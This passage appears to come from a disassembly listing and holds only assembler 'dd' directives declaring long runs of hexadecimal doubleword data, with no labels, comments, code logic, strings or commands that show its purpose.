		dd 322B0021h, 0FCF737E8h, 774331F5h, 506EC0F0h,	0CE1B188Ch
		dd 51132800h, 5A964CDAh, 6ECF3219h, 0B83043E0h,	0FC2111D6h
		dd 808C88CEh, 7ED6B0B7h, 2109AEEFh, 1849D306h, 668A78h
		dd 266BB460h, 523A99AEh, 0EF022004h, 0B89479F8h, 639D5C8Eh
		dd 0E33013Ah, 0C1DD14B5h, 0DF005C62h, 0A417E72Eh, 35008F4Fh
		dd 194A3197h, 2103D8h, 99C5E9F9h, 0BA10F309h, 19A89D49h
		dd 7D416CC1h, 1EF14ED0h, 0C11CF8F0h, 0A97E5D84h, 0F4B6C976h
		dd 0EF38D356h, 0D4007F32h, 4FFA2B4Bh, 9597820h,	557AE3E9h
		dd 0E0EBA411h, 8A0606Ah, 0D20218C0h, 0F71CCB50h, 790160C3h
		dd 0C1E10197h, 0D8E40412h, 0A2E82376h, 0DC2D308Bh, 0E4BEED0Eh
		dd 2BB004F5h, 1E0B348Ch, 4059C5FFh, 7DF84C13h, 3015116h
		dd 0FCE42788h, 0A092755Eh, 0CCAC60B1h, 0F27A5023h, 3AC010B9h
		dd 7D8A23C4h, 3F512C59h, 0C908B7B4h, 32225430h,	3020BA11h
		dd 58808D88h, 23F9322Ah, 0EA97CAEh, 7E9F1F70h, 89E0FE22h
		dd 0EE2E7060h, 6064DB24h, 30C66032h, 0B8733220h, 91224046h
		dd 32285200h, 9817BF2Fh, 0D918006Dh, 5F0C4341h,	62E40D74h
		dd 10E78C92h, 38E9E245h, 0F6014698h, 607B16E1h,	79DCD880h
		dd 203491C1h, 58EFE407h, 0DF306C10h, 0D8F6AAA1h, 1C186762h
		dd 43C0A066h, 35CBDFFh,	0F1428CAEh, 84A8515Dh, 1359C041h
		dd 81D3308Ch, 0BE1D07Bh, 6D2C1FBBh, 0DE085801h,	0A8CF048Dh
		dd 98B5F708h, 0AE204028h, 10F4185Ah, 0E26739B6h, 4095CA24h
		dd 305A30Eh, 1F57046h, 38BC7571h, 0A86312FAh, 2646C849h
		dd 0D0BC4C02h, 6E313CE9h, 0BC449D10h, 0CE6C3D16h, 0B21AF008h
		dd 4B302948h, 0E9CF17BCh, 0A0483824h, 48436Eh, 190980AFh
		dd 423901BEh, 93FF1679h, 7598204Fh, 89156715h, 0E8D04C98h
		dd 0F9008C5Eh, 0D746F88Ah, 7E96C34h, 0EB97564Ah, 5D4D00AAh
		dd 1C7840D5h, 291888A8h, 0D9261A05h, 440AF6D2h,	28A6A074h
		dd 98E6008h, 0B84751C0h, 8D6063C4h, 0E11FEB0Ah,	0B4835BAAh
		dd 76D24Bh, 0CF8A5469h,	796C23A9h, 0ED7C5A06h, 587890A3h
		dd 2004E438h, 82265E14h, 909F7B1Ch, 0AA836891h,	33D0A43Ch
		dd 0BD7C1EFAh, 0B9E8F209h, 0E5280180h, 90751F0Bh, 12BA5042h
		dd 582F7240h, 1CC6AA0Ah, 6580EC72h, 2CFA3F0Eh, 0D77C00DCh
		dd 7F60411Bh, 0C70EAE4h, 0EF339A16h, 7A185EECh,	32C95879h
		dd 0A7F7F4E9h, 4944E494h, 23D6BA60h, 8C9EFC26h,	7B2B570h
		dd 0A9A0C8D6h, 486B0F88h, 80448018h, 97FDC20Fh,	0D5F3A0B9h
		dd 4C88FF7Fh, 4B1038E2h, 0C0C2888Ch, 20BC3224h,	56000EE3h
		dd 6FAF322Ch, 5B008CE3h, 5CFA5A09h, 0C07AD249h,	0E481DC99h
		dd 0FD0158D0h, 42AAEE83h, 2420EBCCh, 6D7C44B4h,	0E8F4E9C1h
		dd 0B0407EC5h, 94CF0491h, 480B1298h, 4FC02DB0h,	4BE9CBBCh
		dd 0A4C82C44h, 65BC4700h, 0A5D9B017h, 59A600EBh, 36CF1FF4h
		dd 78A5D219h, 0D26083C4h, 7E12E8E2h, 20CBD110h,	63C066C8h
		dd 0C160EB1Bh, 0CAEA67A9h, 0C033F1FAh, 0D81FC9DAh, 1B1479D3h
		dd 26590B2Ch, 11381D45h, 6B878782h, 238C14F3h, 0CD01B2B1h
		dd 0B9F25123h, 3BB02828h, 5E0F23C5h, 6B2DC885h,	1FB082B5h
		dd 7106019Ah, 787006FAh, 0CF2E25B2h, 0F0F45C98h, 0CC726926h
		dd 2CBEA89h, 18D9738h, 3884DF20h, 0EB95002Ch, 85E88AADh
		dd 0C130C082h, 17977BE9h, 0A9BB5539h, 8ED1D8D3h, 1A000C18h
		dd 0A3B654A2h, 0E1B370h, 0F60E27C9h, 18A4D747h,	0C30BCE00h
		dd 7E5A6D8Bh, 7ADD20E3h, 0C401330Bh, 4DA183F4h,	87EEE9ECh
		dd 7705D88Dh, 28A0BFF9h, 0DC84E0A1h, 5CD01842h,	8C8CA8h
		dd 0E9A150FDh, 0EA05868Fh, 950FA613h, 302AAC82h, 0CC12BC50h
		dd 208B5CE9h, 0BC48A100h, 9D7C0A4Bh, 0AD7FF500h, 0E4189728h
		dd 0BACF0217h, 15F0F239h, 1C6B7868h, 0E75A4720h, 189A3AD0h
		dd 5061B4F3h, 450320F4h, 0F08A9C42h, 70E90178h,	71E50EEh
		dd 0E882E2ACh, 0CC721F2h, 0DD606564h, 0FE7FF802h, 0E9928403h
		dd 7858DF13h, 684C3C90h, 0F131C637h, 39821DE8h,	53EF107Ch
		dd 3A01590Bh, 8F11A09Dh, 64D43080h, 200B9CB6h, 44B8C2A3h
		dd 52E34330h, 315EE2A4h, 0B02CC4F8h, 0E045E700h, 7EF478BFh
		dd 30A85A17h, 3AEC893Ch, 24C88365h, 8788048Eh, 308521C0h
		dd 34FF141Eh, 5A2CC87Dh, 8870EA5h, 860F071Ch, 6B020D33h
		dd 16B81DECh, 0D63F008Ch, 3CBE668Dh, 0BD018903h, 60723B1h
		dd 2B832BE9h, 9A58529h,	3AAA165Bh, 161B2398h, 0A800FE90h
		dd 0A7C15D7Dh, 0D8C9F58Bh, 0B818A86Fh, 5C008C1Ch, 0F3695375h
		dd 684709Fh, 2585C7E7h,	9B03A631h, 0E85F96A9h, 66370010h
		dd 95DC24C4h, 220F188Fh, 20B15EFDh, 0E0EDD5EBh,	0F7B71A0Fh
		dd 79DDE05Fh, 181B7125h, 73B0002h, 3F83F5B5h, 852A8967h
		dd 810C9B95h, 0C2CDDBDh, 0DE51F3D0h, 0B0D3A85h,	0C01A8882h
		dd 35051338h, 77FE1905h, 321985FFh, 0BFA917Ch, 0CEDE457h
		dd 32E9B529h, 45EDFF18h, 0A4B4BB18h, 837D35h, 0D2829AADh
		dd 32CF400Bh, 1251D424h
		dd 5F17B407h, 195FF11h,	715E49A1h, 1687181Bh, 686647h
		dd 0F843E95h, 9005F3BFh, 309D9589h, 18232D3Ah, 0CCE27301h
		dd 8923ABDDh, 7301CA2h,	98E8EEh, 0C2E8FFD8h, 0CBD6816Fh
		dd 0D8D2601h, 1A6DB509h, 8B66A085h, 1AF6BBF1h, 10C0A2B2h
		dd 0DCB538BBh, 7E3080CBh, 79DBE17Ah, 0E21A1200h, 0C0955FADh
		dd 0EBCD5A3Bh, 273CDF41h, 0B6C0B4F1h, 18A22DACh, 67A7A17Dh
		dd 75FC9633h, 41FB00D6h, 0F0D5B404h, 8F3C7FECh,	0A2D8562h
		dd 8F3A5EE9h, 0CF001823h, 0FF7C7386h, 0E9BD120Bh, 19382117h
		dd 0AA60732h, 0AFFA33h,	0B278920Eh, 4DECBE05h, 0D67054B7h
		dd 6F007D74h, 124EB6D2h, 0C998849h, 0F8DBD8Bh, 0F838B775h
		dd 0E81AC8FFh, 9C008C1Dh, 70BDCFD1h, 70E71352h,	0B5311AA4h
		dd 7E80E1E1h, 8C0F92F5h, 0C53B256Eh, 60E1B89h, 0E911118Bh
		dd 0D37E0F10h, 0AE76A0F9h, 18C7435h, 77173C64h,	8E0BA105h
		dd 80BBEE56h, 2652E781h, 81C1488Bh, 51402938h, 7530B5F2h
		dd 0EB5E0E19h, 0F934A004h, 9BD1803h, 0B5231C1Dh, 8DAF2565h
		dd 9F1FC70Fh, 46746626h, 4AE50018h, 9027A1C9h, 880F2850h
		dd 0BE9306Ah, 0CF66F40Bh, 36497800h, 0CA58B624h, 0EA905B9Ch
		dd 1423332Eh, 0BF663C03h, 0A6408E3Ah, 4F1F0068h, 0F89B82EDh
		dd 0BE07DC77h, 7B9358E5h, 3EB8A50h, 6B5C35A4h, 23C53A36h
		dd 0A03B0019h, 0BF7080F5h, 3139DA0h, 19B20B43h,	0C9C530h
		dd 0B7DE6D0Ah, 102DB589h, 0C083C4A0h, 0A28E0553h, 922B301Ch
		dd 6E271300h, 8658B2FDh, 0EA804C0Fh, 55100394h,	6117512Bh
		dd 90FADB19h, 50F25060h, 0A28B23EBh, 0C7833017h, 49A4404Dh
		dd 0C6F4BD17h, 0CF992952h, 181BD122h, 0D9C11D97h, 5F8700B5h
		dd 666057CFh, 0BA9ABB0Bh, 0CD462261h, 9F71DD1Bh, 0EC181AD1h
		dd 7F8D5103h, 0A8BEBFA6h, 2DA5B79Dh, 0A7DD060Ah, 0C300C7BCh
		dd 7C5B2631h, 0D3FF2477h, 4202DE11h, 66E4C4A6h,	0A7463Fh
		dd 395096A0h, 0EDD1AA90h, 0A9272416h, 0FA5EA05h, 2CE5EE21h
		dd 75ECE901h, 0FFA96E23h, 5F081D89h, 0B801F485h, 9D307FC7h
		dd 5B73EF4Eh, 12686C2h,	11679712h, 43DE801Bh, 2D7AF86h
		dd 8BA487A6h, 636A859Dh, 0E7EE8540h, 0E3703774h, 5E5169C1h
		dd 6570DB0Bh, 9D898865h, 0D232120h, 111BD83h, 84A28CF8h
		dd 6BE92739h, 6D7F0878h, 0A9B4C253h, 1711F786h,	8E80F300h
		dd 5F0F49D3h, 0CE7847h,	0A4742D13h, 0C7F4377Fh,	0CE468551h
		dd 0C1BD5681h, 2FE9011Bh, 0A7817A4h, 4E1922A6h,	88E68F12h
		dd 4D49C019h, 3B24D9CFh, 0AB216334h, 8D35F52Dh,	46B6DA80h
		dd 2CCA1C5Dh, 10F72BA8h, 23810732h, 762EFEFFh, 0C0C4DAEFh
		dd 0C003E7C8h, 21A60BD9h, 6677F214h, 7B8434E6h,	0C0E8DB31h
		dd 0A0BB9ECEh, 0B7BF0575h, 5C4D285h, 0CC987EB8h, 5D033E50h
		dd 6BCE4004h, 9383E111h, 33ED2731h, 76F0BF00h, 11812758h
		dd 0E83F0D81h, 0E3003D44h, 0E0C76369h, 0C0505EA9h, 89855164h
		dd 5EA52404h, 986015C4h, 0CC69E9EEh, 916A9D36h,	0E0668F1Bh
		dd 0DA12F57h, 0B038389Eh, 0D5B04756h, 7002E601h, 0DD8D8960h
		dd 40F8E62Fh, 0C690611Dh, 29A120h, 0B60F71E4h, 8D8B60D8h
		dd 2119D925h, 0BA61D396h, 0FA5B7322h, 6E81F924h, 600715B1h
		dd 0D9BD33C3h, 0C1246AB2h, 81080AE8h, 0F98B8102h, 6FE2F766h
		dd 0D6AC6BA9h, 4E00C2F8h, 8A468FBEh, 1D82B22h, 0BF0B70Fh
		dd 2D15B5h, 9BF5350h, 326AC521h, 241C6C82h, 0BF70F853h
		dd 0A0AC091Ch, 0BD66FC7Ch, 0A6788A9Bh, 20F102FBh, 0CB3D0AF9h
		dd 1899882h, 64CE4D09h,	0F8E5631Ch, 9B8BF50h, 824FAEB0h
		dd 1411201Fh, 1F098889h, 1D11411Dh, 23B90280h, 0A0459FEh
		dd 3AA6509Dh, 0C13A3084h, 0F6001D23h, 1ABFE2ACh, 75BA0B8Dh
		dd 0D1820FC1h, 3C031301h, 0DA83CB61h, 0D0A87B02h, 6148105Fh
		dd 9950897h, 11682423h,	5A501A02h, 1D918968h, 8914119Eh
		dd 0C0A21B7Fh, 241ABE66h, 2A9C5E81h, 0DC9C9696h, 8F037672h
		dd 295296E6h, 0F092DCB5h, 0CDB64A5Eh, 7451E077h, 87285A88h
		dd 0D1208A68h, 0BD8B272Bh, 0D82A8FAFh, 144674B7h, 2197D2Eh
		dd 5897DFE6h, 1A4448E7h, 9C788C60h, 0F74C0601h,	0F9F18B71h
		dd 59880834h, 0AE62E209h, 0B9053321h, 0E00E0089h, 0FAC01D88h
		dd 0CD8D7Fh, 0CF1AB17Ch, 0F08B826Ch, 17C18338h,	0B20ED93Bh
		dd 1DF810CCh, 0CD59008Ch, 0ABB1AF10h, 922C3D1Bh, 0D917B1C5h
		dd 0C225460Ah, 32E7BE80h, 59F63074h, 7A2EBCC1h,	21CD625Ah
		dd 28AB209h, 0C22B5B90h, 3DC44032h, 4F46B634h, 8C1AFCB0h
		dd 0A59F0E00h, 7213CF07h, 0B8660A60h, 8BFD28Bh,	61123151h
		dd 0D94B791Ch, 0DF9F4AE9h, 9F58E073h, 0D0C2003Bh, 2B60A2E4h
		dd 0C04F8BAAh, 8086C723h, 0E10FE48h, 4E526D36h,	64F68380h
		dd 5FB607CEh, 7E3E68h, 4B0E063Eh, 0CC5743E5h, 29E48062h
		dd 85C7021Dh, 0C04BCE3h, 31849FB5h, 1A887ACEh, 0A0EC83C0h
		dd 606200BCh, 0DF8157EBh, 6A2464DDh, 9D04222Ch,	71F41255h
		dd 820B51FCh, 596CF8C9h, 0B02C15F2h, 0D1CAAA89h, 800F8A3Dh
		dd 0BF163B52h, 4B7729F1h, 0C2158867h, 6BCD35BFh, 8F6017C4h
		dd 2C09013Ah, 8B52FE8Bh, 5E611146h, 16E85B3Ch, 0DC3A1C8Ch
		dd 19606E53h, 0D8239FADh, 5BC11EE1h, 17718529h,	17ECC428h
		dd 0EFE5098Ch, 0C90279D5h, 0B30EDh, 8D31F956h, 0CADB8AB1h
		dd 0BDDE70h, 0BB3CE809h, 0BF66CABEh, 0F6C41226h, 82E600DEh
		dd 2AB6D626h, 8922B503h, 41EDEC1Ah, 0B9E1EB01h,	0E2EC6F2Fh
		dd 128C15E8h, 0DBF9EC2Dh, 8A59803Ch, 0AB616ACh,	4340EF6Ah
		dd 17465C24h, 96FFC01Ch, 51940C05h, 2B02BEE7h, 0E9503CCCh
		dd 0A747D831h, 601544DBh, 4D8BCF96h, 2DBCFEC1h,	0E95B3000h
		dd 25135865h, 605F01C1h, 3415A5BBh, 883F700Dh, 0BD66BD94h
		dd 2F2FB4C3h, 91581D5Dh, 0E3238216h, 117B9777h,	1DC18117h
		dd 1B30D5C4h, 2D4E98FAh, 68951E49h, 2A1D37C0h, 0E250ECADh
		dd 0F04C052h, 5A616031h, 80C586Dh, 7448DC28h, 3C70FB5Bh
		dd 5B8E8C96h, 0E44BFE67h, 91029D6Ah, 0BE8D801Ah, 2CB8E9A4h
		dd 3C7549AAh, 12317412h, 0AFAC898Fh, 3E46B75Ch,	93DE0FCh
		dd 0E248B4B9h, 16E1D782h, 0DBCA790h, 0EC1B0B4Ch, 0FB018C1Ah
		dd 7D4656F7h, 0D841E4C8h, 9039E9F2h, 0ACA6DA00h, 0E3C36A72h
		dd 393AD702h, 0D81DD1FAh, 440FA782h, 3355601Ch,	60F3009Ch
		dd 0FF689B12h, 0D30BD29h, 0BF90D42Ah, 0F44B0B59h, 0C4775021h
		dd 17699059h, 6F90292Bh, 3E77004Ah, 9A34841Fh, 0FED4A0A3h
		dd 6F6A4E13h, 0EF7300CDh, 0BEBD45F3h, 1DA0BD4h,	0CAD5818Dh
		dd 0E0E44D75h, 96447F5h, 85E33FEh, 17A020AFh, 0FB00A3EEh
		dd 80DBC2DCh, 3B7B71E6h, 0AD8275F4h, 93CC4BEh, 2D04F9F5h
		dd 0EDD5A70Bh, 0B7C1E0E3h, 0AE24EB67h, 1A2DE190h, 11C21DA8h
		dd 49598017h, 5BFFAB45h, 556BFAD3h, 90CBDC02h, 78614D6Ch
		dd 681B2529h, 0CBE9CFAFh, 88A96508h, 56070DC6h,	1D4D820Fh
		dd 21C92061h, 95D95F02h, 0B6344DE4h, 0C586A159h, 1E7C83F0h
		dd 87D0956Fh, 0F49D8B69h, 65161609h, 0BBE948Ch,	6E569AABh
		dd 8A89769h, 12F12195h,	640B4008h, 71604A25h, 351A0649h
		dd 5C74BDD5h, 13221C2h,	2CB5E961h, 6124D719h, 849D321Bh
		dd 0E9E046F6h, 1B026608h, 253F512Eh, 9672F535h,	0E4CBF01Eh
		dd 0E611DEC7h, 0CDF35770h, 5A349012h, 0E9C6079Fh, 0BD63245Fh
		dd 29CEC92h, 8D29DB98h
		dd 70B320BDh, 877A285Bh, 0BC876E0Fh, 0C1FC3C40h, 0C70081D0h
		dd 0B682F43h, 5C69B533h, 9D84A210h, 1A8D0903h, 585102h
		dd 0E360EA78h, 0B90075A2h, 3D92C5BCh, 5BFB8783h, 1FDA34E0h
		dd 5A0AD0EDh, 7F6EBC17h, 0C2F92802h, 0E468A0Fh,	2D258510h
		dd 32E6225Ah, 809F0229h, 0A02871D9h, 95900D3h, 0F575090h
		dd 2FCB1381h, 2B2910E8h, 0F6450062h, 0E7F49D46h, 379DA8Fh
		dd 5E5F8D0Ah, 0A5188E90h, 6156E977h, 799D8D04h,	3BB00323h
		dd 441B99Dh, 0E65404E6h, 88D08E70h, 0E49AC114h,	8BDF6071h
		dd 83E8C229h, 2EDCF00h,	12E3CBCDh, 0D401B52Bh, 2CFDE134h
		dd 8C18E81Bh, 0C217E104h, 19B8D794h, 0BAB23704h, 0B083E706h
		dd 161EF31h, 233B364h, 0EE8B5663h, 580C53F7h, 2F90B04Fh
		dd 4412F85Ah, 15ED3B04h, 3A22C513h, 2182334h, 5312039h
		dd 0E601955Ch, 0D82B1801h, 99B80E7Dh, 5BBE5A00h, 502012AFh
		dd 81900743h, 0B03ECDD6h, 0FA8B936Eh, 0FBEB43F9h, 11BD23B8h
		dd 9A9C204Eh, 0EB565B57h, 4B47CA40h, 1CE72D8Ch,	675E73EEh
		dd 34B05919h, 0F304B7AFh, 2669BD31h, 0F98BA0D1h, 6E9A4121h
		dd 0A1D872F2h, 5B288E34h, 0B180CEBCh, 75D18293h, 20FB601h
		dd 0D83A94A7h, 0D750212Ah, 810DF0ADh, 61BF4F00h, 67261554h
		dd 7D1305D0h, 0B45E9D73h, 9586C274h, 61004AB5h,	59D99D5Dh
		dd 0AEF71963h, 25FAC224h, 2F4B4D70h, 0E00C26Eh,	0EC778867h
		dd 0FE2440D4h, 0AE2FDFD8h, 0B1B5C2A2h, 0BC17FA21h, 702740E9h
		dd 8A0235FCh, 0AA088D50h, 904644B9h, 460548DFh,	0A590ABD7h
		dd 9D1575h, 0C30A7F81h,	2C4C9543h, 9E00ABA6h, 1445F829h
		dd 8E3936h, 0AB0E26EAh,	0DD8611FEh, 485F2D24h, 0EF03EC25h
		dd 0EC135110h, 6A3F5000h, 81B3F22Eh, 98CF7CB5h,	0B65849FEh
		dd 0FF0961BCh, 468F0FFBh, 0C2FC7175h, 1D2888Bh,	792DFEC4h
		dd 115EB71Eh, 0EBE5831Bh, 5975B0B4h, 12BB5B97h,	80C6DB5Ah
		dd 0DED39598h, 613509DDh, 0A19A8D72h, 0B8F1F5h,	18E599BFh
		dd 605E5F6Ah, 673540AEh, 6DB6F34Ah, 40D1800Bh, 559E6961h
		dd 203EFBA6h, 0BD091629h, 0D97A3271h, 7DD1F04Ah, 0CF011509h
		dd 18B0417Dh, 7FED7A5Dh, 0BC7C400h, 0DEE107A7h,	581E832Eh
		dd 0BD16F828h, 0ACDC17D1h, 0BAB57F23h, 6E5B4AD1h, 211B0018h
		dd 606DACF7h, 755B1FCCh, 8412C78h, 85BE2015h, 790265BEh
		dd 9529A703h, 861CEE41h, 51CD1EADh, 610C4E5Ch, 0EEC32B25h
		dd 95B0AAF6h, 0D800AE03h, 4A34B445h, 848C0F02h,	7120DB98h
		dd 0C423B609h, 18233F50h, 0C0CFBE00h, 0A2E9B8B5h, 70DAFB25h
		dd 2F12CA9Dh, 10100C9Ah, 0EBBF808Fh, 2560E547h,	0E04DC08Bh
		dd 0A433FDC0h, 0ACEA0B0Ch, 27C9DFF6h, 7D64203h,	0A0953252h
		dd 0DC67B3E1h, 71B79D51h, 6E1BA600h, 7CFC069h, 42D4EE81h
		dd 0EC608413h, 0F9AB80B4h, 19AAFF3h, 0A7F7528Ch, 0CC8A5633h
		dd 0CF04D9CBh, 6FBC5B35h, 76C06182h, 8BFCDCF2h,	2D3CF15Eh
		dd 0D7818813h, 0EA2F4190h, 0B22D335Eh, 0A2512901h, 4029CD49h
		dd 57DB0771h, 66CF3405h, 3DA14F60h, 114EDC36h, 902DC89Ch
		dd 0B30BE737h, 0CF5C812Ah, 6E6A3D63h, 13C700F5h, 36F01F0Ah
		dd 0BE660C0Dh, 0B08F3A2h, 0C0361258h, 8061B3D2h, 0A375002Ch
		dd 15BF2388h, 3126629Fh, 0AA53ED7h, 0EFDE2522h,	253FCCF4h
		dd 78B78236h, 47F55E0Eh, 0B302D7B9h, 6FE62Fh, 0BA36A7C4h
		dd 5D606440h, 8563063Bh, 358D31EBh, 0E65EDD92h,	521A01B9h
		dd 0D7734F85h, 0F0DB364Ah, 9F9AE082h, 9D89A718h, 1801D77h
		dd 4B92085h, 0E95E1895h, 0FFF738EAh, 0A06EDAh, 0FC2ECCE5h
		dd 4F95455Bh, 62338856h, 26027D7Eh, 0A1225448h,	11DA825Eh
		dd 0C1CB0E33h, 94CAD266h, 0CDA5E8FDh, 2C0EC085h, 60BEC0CBh
		dd 330E1610h, 0DB9609BDh, 0C019C8BDh, 0D3BD588Fh, 838BA624h
		dd 0FEF2C602h, 1E4D7E90h, 0F316BE52h, 88D08E5Eh, 5E47C015h
		dd 0ED4CB50Bh, 7201D206h, 3880F78Ah, 51BE108Fh,	0D072D7A6h
		dd 0B17CE17h, 8087DBBEh, 0DA9C4C65h, 127D5B12h,	0E78CE668h
		dd 158D89A1h, 502F857Ch, 5C4A3D08h, 0F40B1746h,	7E84D91Dh
		dd 1907A384h, 0F552D7A7h, 0BD2B0682h, 0F3D12F55h, 500FDB69h
		dd 8B055FA3h, 814288ECh, 6A4BF2A7h, 9868026Eh, 0C69A99D7h
		dd 0A27004Ah, 0D93DE09Bh, 26009F39h, 7C814869h,	3A9EBD65h
		dd 6305A868h, 53D3FFh, 0F2570FBh, 0EEB45E3Ch, 17DE2D6Ah
		dd 4FCBEF7h, 450FE591h,	12B2097Dh, 2A0BD8C9h, 0B0E1994Dh
		dd 0A6E95E87h, 90DC7FD8h, 0DF2AB7C7h, 0AFCE059Ah, 0CB32B3D6h
		dd 0D08B2A9Ah, 189502DEh, 0A309E648h, 84DECFC2h, 0D9D9F3Ah
		dd 0C0816C73h, 5BB90EEBh, 0B7375332h, 6C42A04Dh, 0CB213927h
		dd 0F9D9684h, 51BEC889h, 35275B90h, 45F8E44Fh, 91022E9Bh
		dd 0D91612BDh, 53C115Dh, 1A18589h, 179CD34Dh, 0ACCCFD7Bh
		dd 5CC7013Fh, 0F599EBCh, 4B2E3983h, 20DEAC1h, 1B617707h
		dd 2D49D288h, 6B537429h, 85BCE273h, 0DEE2F1BEh,	0EB264100h
		dd 8AF75F3Fh, 0AEA1A00h, 63DD9440h, 0E67B3D9Bh,	0CC27EEDEh
		dd 0CA99F916h, 6E50D64Ah, 0B5890511h, 96501E7Dh, 4796010Ch
		dd 0D0F7A54Fh, 0FF09E721h, 20B80D69h, 648CB624h, 18A2611Fh
		dd 8F7CABEh, 15B5FB3Ch,	7A494022h, 38010C92h, 3FCECC05h
		dd 0A66360F5h, 4E07EE07h, 5CC0A191h, 2E962167h,	61CF4D31h
		dd 0E657F6Ch, 5E58B2F7h, 0A6F512FAh, 0C0C7E064h, 34924B7Dh
		dd 0B8FDADEFh, 0C58B1386h, 0CD45C8B7h, 8F8E5538h, 0BC2874B1h
		dd 0E2D406C3h, 0C00EE817h, 64EFA23Ah, 875053DFh, 6F2FC500h
		dd 1BD3808Eh, 0EF5128B5h, 0A40504DEh, 0B129E92Eh, 2B97E8Ah
		dd 7F3878ACh, 0FDDB4EB0h, 0FDEA418Ch, 0E241055Bh, 15098529h
		dd 443536Ah, 130B3178h,	0CD6F4BC5h, 8B273A00h, 0F99D89F7h
		dd 0BA1D0595h, 306987F3h, 0C4CD46EAh, 0C15997E0h, 2879B8Bh
		dd 21A99D01h, 0D74882D4h, 0D85D09DEh, 0B068E8CAh, 4F005B9Eh
		dd 0CC70D769h, 767534Bh, 18CA6C37h, 960CA197h, 37207E24h
		dd 25398h, 61C74A43h, 8E0FEACCh, 5F5E818Bh, 77012333h
		dd 0B759D54Fh, 4FF96C6Fh, 581469Bh, 30BE4094h, 62918F65h
		dd 0B5095701h, 62C2E9Dh, 45BD8B04h, 0D322FC31h,	57809B9Ah
		dd 90F3CC98h, 0C1E0D5FAh, 820FEC13h, 0C7BEF890h, 5BC91680h
		dd 2001B150h, 35E796Ch,	766B0974h, 0B0E56602h, 3140E635h
		dd 16B52315h, 0C45CA5E3h, 6BE46019h, 363816C7h,	19009C5h
		dd 0BDB00BA4h, 20ABC5Bh, 253B18EEh, 0BA425339h,	0FCDCB97Ch
		dd 0F012055Fh, 0A28032E3h, 0C74B023Ch, 4059B4D8h, 0ACFA8BE0h
		dd 2F85B2C4h, 6124B1DEh, 0BC2E34E9h, 0EC041623h, 0DD22F93h
		dd 32E38429h, 5779EE9Dh, 8606C1B8h, 0F5E43D0Dh,	15492658h
		dd 1546D40Fh, 0B20D2B17h, 6C9B0015h, 982313AEh,	0BF1E0E88h
		dd 95D1066h, 15A9FC80h,	0E8734DFBh, 0B73FD3h, 9EECE105h
		dd 0B5010B09h, 0FCD0D95Bh, 245E86C7h, 82EF3677h, 1841BD89h
		dd 0C396C14Ch, 4F4609D4h, 0E450602Ah, 0EE413041h, 61010FF1h
		dd 9EF27858h, 0A96E5B80h, 172BE079h, 97FAAB2Ah,	0D1AA987Ah
		dd 7A292D5Eh, 0B0A8143Dh, 75608C00h, 18BA9E7Fh,	0F98B2567h
		dd 0AA85390h, 0F1120600h, 0CCC0F0B9h, 0B12E00BBh, 0A7FB5C94h
		dd 625A2C37h, 129BF094h, 0D4A839C0h, 2B11C29Ch,	485BCDB5h
		dd 9AA26578h, 7225215Eh, 0E74FA6h, 96D4AAE5h, 68D51C09h
		dd 4B855489h, 5539864h
		dd 0C4517B6h, 0CF7D699Dh, 0DF01F4B8h, 73944E60h, 62FD7F0Ah
		dd 4BA1D893h, 267B5BF4h, 0B2A4F873h, 486F0099h,	4FD4C9D7h
		dd 2DFB2BF9h, 0BC7BB9DAh, 44EB804Dh, 2FC97CBEh,	663162D0h
		dd 0F19E2B72h, 0C45B1DC0h, 0ED2F597Bh, 8427751Ch, 2502F069h
		dd 0C703F25Ah, 5CD5F819h, 43F190EAh, 474A24C3h,	0EF6D6099h
		dd 9D010C0Dh, 0E1BEC0F2h, 0AC7F5EF7h, 0ED9B5B4Eh, 0F5382C0h
		dd 5E4AF8BFh, 0C0C985E1h, 0E8B90B6Dh, 3705200Fh, 2219812Fh
		dd 19FCAFACh, 0A661008Ch, 2EBE3779h, 0A09785C7h, 80879996h
		dd 20599035h, 0B4D917D9h, 4C78F9BEh, 0CD2E18F2h, 0F1C20B80h
		dd 0B28B924Ch, 3B884847h, 0A40D5CD9h, 6A4AE7CAh, 337E042Bh
		dd 12E09DFFh, 95090B56h, 60591A59h, 1D6BDA4h, 89C991A9h
		dd 8507D995h, 1998DC3h,	0E684C7FCh, 79C181EDh, 0CCB8042Fh
		dd 0E3516A80h, 0FB7B4F9Dh, 0B3802E02h, 80A3DAAFh, 0BD33FEA9h
		dd 0A52B6949h, 0F8C06EEDh, 38E99B19h, 7CABD03h,	772957BFh
		dd 8B5BACE1h, 0F68CF050h, 7F0379Dh, 0E0BC158Ah,	63506FF6h
		dd 0FC608CBEh, 106AC1Ah, 833F7FDCh, 3069B089h, 137B014Ah
		dd 5BE0FA5Dh, 838BE6DBh, 0B0028062h, 0F57419D9h, 330E1C44h
		dd 0A0CD95CAh, 315D2081h, 0D96B2CB0h, 5C4EE625h, 860104F8h
		dd 0F6AAE93Ah, 0DE54C6FFh, 6E5E00DCh, 0FC558B76h, 21626F28h
		dd 0F360F2AAh, 0F10D707Ah, 0A5A90202h, 70B9ABA1h, 0DB2EE5FDh
		dd 0A4B98F1Fh, 3380616Ch, 510F2DF1h, 0A882218Ch, 9D8D21DFh
		dd 0F89A9E76h, 0FAA5D10h, 0CDD21216h, 233134B6h, 501D2FD1h
		dd 18404DE8h, 1E12583h,	0C2A8A7D9h, 8BC3F554h, 9DB030ABh
		dd 1BA52FEDh, 6D20B1A8h, 60610517h, 0D471BD0Bh,	0FB8C3575h
		dd 9DB0D9B6h, 2000908Fh, 0F0B5082Eh, 9EE8160Ch,	0DB70801Fh
		dd 6B28681Eh, 0B8008BEAh, 0CC4CB56Ch, 3C7817E7h, 111003C1h
		dd 9A5A2832h, 4F1C5D25h, 1BDD40B2h, 22068F3Fh, 14ADA95Ah
		dd 6B2A9554h, 40EB2D75h, 603649B5h, 0D6C66A09h,	61F9CA14h
		dd 7326C9A6h, 5A92D811h, 2FF37913h, 8B1FA7F0h, 767A9B5Eh
		dd 73D81C00h, 313BFC8Eh, 1E402990h, 85891756h, 5F8C4A61h
		dd 0F5C4B964h, 0B8900590h, 0F11FF012h, 75810434h, 13040699h
		dd 9B66259Eh, 0AA71C083h, 0EC775B8h, 0A6979ED2h, 0EF588B3h
		dd 85211900h, 8DE7521Ch, 0D5B8CC45h, 90975BC7h,	6F206Fh
		dd 64AE3769h, 8AE092C6h, 0A21F1D32h, 7E7D4A3Dh,	7400DCD5h
		dd 0B4854999h, 540BD880h, 5F57A8Bh, 3FE61BEh, 3A2341Dh
		dd 5FF85130h, 29413041h, 12A1B8B7h, 39B5B61Bh, 445ECF8h
		dd 0B7D80982h, 0F17184BAh, 39F59D5Eh, 502DA8EBh, 97858F4Fh
